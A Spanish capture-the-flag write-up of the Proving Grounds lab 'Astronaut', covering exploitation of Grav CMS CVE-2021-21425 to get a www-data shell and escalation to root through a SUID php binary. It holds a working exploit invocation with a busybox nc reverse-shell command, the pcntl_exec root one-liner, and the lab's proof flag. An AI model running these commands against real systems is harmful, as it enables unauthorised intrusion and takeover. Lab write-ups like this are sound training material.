the_open_door
café
ESEN

Astronaut

Proving Grounds PracticeFácilLinux192.168.186.12

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#grav-cms#cve-2021-21425#yaml-write#rce#suid#php-suid#gtfobins#oscp
TL;DR. Astronaut sirve un Grav CMS 1.10.7 en /grav-admin. Esa versión es vulnerable a CVE-2021-21425 (escritura arbitraria de YAML que deriva en ejecución de comandos), así que un exploit público nos da shell como www-data (CVE-2021-21425). Para escalar, el binario /usr/bin/php7.4 tiene el bit SUID: lo abusamos con pcntl_exec('/bin/sh', ['-p']) (abuso de SUID) y caemos como root.

Reconocimiento

Escaneo inicial

El TTL de respuesta es 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo hay dos puertos abiertos:

ping -c 1 192.168.186.12
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.186.12
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.186.12 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-03-17 17:46  grav-admin/
|_

SSH no es vía de entrada sin credenciales, así que todo apunta al 80. El propio http-ls ya nos regala el dato: el listado del document root muestra un directorio grav-admin/.

HTTP - TCP 80

Navegamos a http://192.168.186.12/grav-admin/ y aparece la pantalla de bienvenida de Grav, un CMS flat-file escrito en PHP (no usa base de datos: guarda contenido y configuración en ficheros):

Página "Say Hello to Grav! installation successful" con el logo de Grav

Con la tecnología identificada, toca averiguar la versión y si tiene vulnerabilidades conocidas.

Grav CMS - Identificar la versión vulnerable

searchsploit lista varias entradas para Grav CMS 1.10.7, y la primera es justo lo que buscamos: una escritura arbitraria de YAML sin autenticar que lleva a ejecución de código:

searchsploit gravcms muestra "GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated)" en php/webapps/49973.py

GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)   php/webapps/49973.py
GravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit)   php/webapps/49788.rb

Eso es CVE-2021-21425: el panel de Grav expone una tarea que permite escribir configuración del lado del servidor sin las comprobaciones adecuadas; encadenando una entrada en el Scheduler con su disparo se obtiene RCE como el usuario del servidor web (CVE-2021-21425).

Explotación

Buscar el exploit

El 49973.py de Exploit-DB escribe el YAML, pero buscando una implementación que además encadene el disparo aparece un repositorio dedicado a este CVE:

Búsqueda gravCMS Arbitrary YAML Write/Update git exploit: el repositorio CsEnox/CVE-2021-21425 descrito como GravCMS Unauthenticated Arbitrary YAML Write/Update leads to Code Execution

GitHub
CsEnox/CVE-2021-21425
GravCMS Unauthenticated Arbitrary YAML Write/Update leads to Code Execution (CVE-2021-21425)

CVE-2021-21425: RCE en Grav

Usamos ese exploit público de CsEnox, que automatiza todo el flujo: escribe la tarea programada con nuestro comando y la dispara. Dejamos Penelope a la escucha en el 22, un puerto de salida que la máquina permite:

penelope 22

y le pasamos una reverse shell con busybox nc al exploit:

wget https://raw.githubusercontent.com/CsEnox/CVE-2021-21425/refs/heads/main/exploit.py
python3 exploit.py -c 'busybox nc 192.168.45.244 22 -e bash' -t http://192.168.186.12/grav-admin

El exploit avisa de que crea el fichero y la tarea, y que espera un minuto a que Grav la ejecute (es una tarea programada, no un disparo inmediato). Pasado ese tiempo, cae la conexión en el manejador (penelope), que además mejora la shell a PTY:

El exploit imprime "Creating File", "Scheduled task created, wait one minute" y penelope recibe la reverse shell de gravity-192.168.186.12 como www-data

[*] Creating File
Scheduled task created for file creation, wait one minute
[*] Running file
Scheduled task created for command, wait one minute

[+] Got reverse shell from gravity~192.168.186.12-Linux-x86_64

www-data@gravity:~/html/grav-admin$ whoami
www-data

Tenemos shell como www-data en el host gravity.

Post-explotación

Escalada: binario SUID php7.4

Lo primero al aterrizar es buscar binarios con el bit SUID (se ejecutan con los privilegios del propietario, normalmente root, en lugar de los de quien los lanza). Filtramos el ruido de snap:

find / -perm -4000 2>/dev/null | grep -v snap

Entre los habituales (su, sudo, passwd, mount...) aparece uno que no debería estar: /usr/bin/php7.4.

find de binarios SUID con /usr/bin/php7.4 resaltado, y el pcntl_exec de php con la opcion -p devolviendo una shell de root

www-data@gravity:~/html/grav-admin$ find / -perm -4000 2>/dev/null | grep -v snap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/at
/usr/bin/su
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/umount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/php7.4
/usr/bin/gpasswd

www-data@gravity:~/html/grav-admin$ php -r "pcntl_exec('/bin/sh', ['-p']);"
# whoami
root

Un intérprete de PHP con SUID es una escalada directa: PHP puede lanzar procesos, y con el flag -p la shell hija conserva el UID efectivo (root) en lugar de degradarlo. GTFOBins documenta justo este caso (abuso de SUID):

php -r "pcntl_exec('/bin/sh', ['-p']);"
www-data@gravity:~/html/grav-admin$ php -r "pcntl_exec('/bin/sh', ['-p']);"
# whoami
root

Proof

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en gravity (192.168.186.12)

8caf1d2cbe0eb0c6a7b80d89a3c0f827
root

Cadena de ataque

HTTP (80)  --  /grav-admin -> Grav CMS 1.10.7
        │  CVE-2021-21425 (Arbitrary YAML Write -> RCE)
        ▼
shell como www-data
        │  /usr/bin/php7.4 con bit SUID
        │  php -r "pcntl_exec('/bin/sh', ['-p'])"
        ▼
root  (proof.txt)

Lecciones aprendidas

  • La versión lo es todo en un CMS. Grav 1.10.7 carga con CVE-2021-21425; identificar la versión y cruzarla con searchsploit resolvió el acceso inicial sin más enumeración.
  • Las tareas programadas introducen latencia. El exploit no devuelve la shell al instante: Grav programa el comando y hay que esperar a su ejecución. Saberlo evita pensar que el exploit ha fallado.
  • Un intérprete con SUID es root. PHP, Python o Perl con el bit SUID son escalada inmediata; el flag -p es la clave para que la shell hija no descarte el UID efectivo. Ningún intérprete debería tener SUID.
  • find / -perm -4000 es de los primeros pasos en Linux. Un solo binario fuera de lo normal en esa lista suele ser toda la escalada.
Cheatsheet de comandos 7 comandos

Repaso rápido